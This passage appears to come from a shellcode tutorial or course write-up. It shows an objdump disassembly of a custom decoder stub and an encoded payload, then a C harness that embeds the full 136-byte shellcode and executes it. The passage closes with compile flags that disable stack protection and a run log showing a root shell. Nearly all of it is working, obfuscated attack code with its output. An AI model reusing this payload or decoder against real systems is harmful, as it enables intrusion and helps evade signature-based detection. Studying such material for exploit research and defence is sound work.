804808a: 89 e9 mov ecx,ebp
804808c: 80 f1 32 xor cl,0x32
804808f: 74 24 je 80480b5 <EncodedShellcode>
8048091: 88 c1 mov cl,al
8048093: 28 d1 sub cl,dl
8048095: 88 cb mov bl,cl
8048097: 88 c8 mov al,cl
8048099: c0 eb 04 shr bl,0x4
804809c: c1 e0 1c shl eax,0x1c
804809f: c1 e8 18 shr eax,0x18
80480a2: 01 d8 add eax,ebx
80480a4: b3 ff mov bl,0xff
80480a6: 28 c3 sub bl,al
80480a8: 88 1f mov BYTE PTR [edi],bl
80480aa: 47 inc edi
80480ab: 83 c5 02 add ebp,0x2
80480ae: eb d0 jmp 8048080 <decode_pr>
080480b0 <call_shellcode>:
80480b0: e8 ad ff ff ff call 8048062 <decoder>
080480b5 <EncodedShellcode>:
80480b5: 43 inc ebx
80480b6: ed in eax,dx
80480b7: 1d f4 40 fb 6f sbb eax,0x6ffb40f4
80480bc: 7a a9 jp 8048067 <decoder+0x5>
80480be: 0e push cs
80480bf: b6 0e mov dh,0xe
80480c1: bc c9 e3 7a af mov esp,0xaf7ae3c9
80480c6: 7a 78 jp 8048140 <EncodedShellcode+0x8b>
80480c8: 0e push cs
80480c9: c5 da 76 (bad)
80480cc: 6a 17 push 0x17
80480ce: 1a 4e 68 sbb cl,BYTE PTR [esi+0x68]
80480d1: 38 c2 cmp dl,al
80480d3: 99 cdq
80480d4: fb sti
80480d5: 35 68 84 d2 b3 xor eax,0xb3d28468
80480da: cb retf
80480db: 7c 68 jl 8048145 <EncodedShellcode+0x90>
80480dd: 78 e2 js 80480c1 <EncodedShellcode+0xc>
80480df: 9a f5 e9 50 c0 24 91 call 0x9124:0xc050e9f5
80480e6: f8 clc
80480e7: fe .byte 0xfe
-------------------------------------------------------------------------------------------
$ cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =\
"\xeb\x4e\x5e\x8d\x3e\x31\xc9\xf7\xe1\x31\xed\x8a\x16\x88\xd0\xc0\xea\x04\xc1\xe0\x1c\xc1\xe8\x1c\x28\xc2\x79\x04\xf6\xd2\xfe\xc2\x31\xc0\x31\xdb\x31\xc9\x8a\x44\x2e\x01\x89\xe9\x80\xf1\x32\x74\x24\x88\xc1\x28\xd1\x88\xcb\x88\xc8\xc0\xeb\x04\xc1\xe0\x1c\xc1\xe8\x18\x01\xd8\xb3\xff\x28\xc3\x88\x1f\x47\x83\xc5\x02\xeb\xd0\xe8\xad\xff\xff\xff\x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\x0e\xb6\x0e\xbc\xc9\xe3\x7a\xaf\x7a\x78\x0e\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
-------------------------------------------------------------------------------------------
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Shellcode Length: 136
$whoami
root
$
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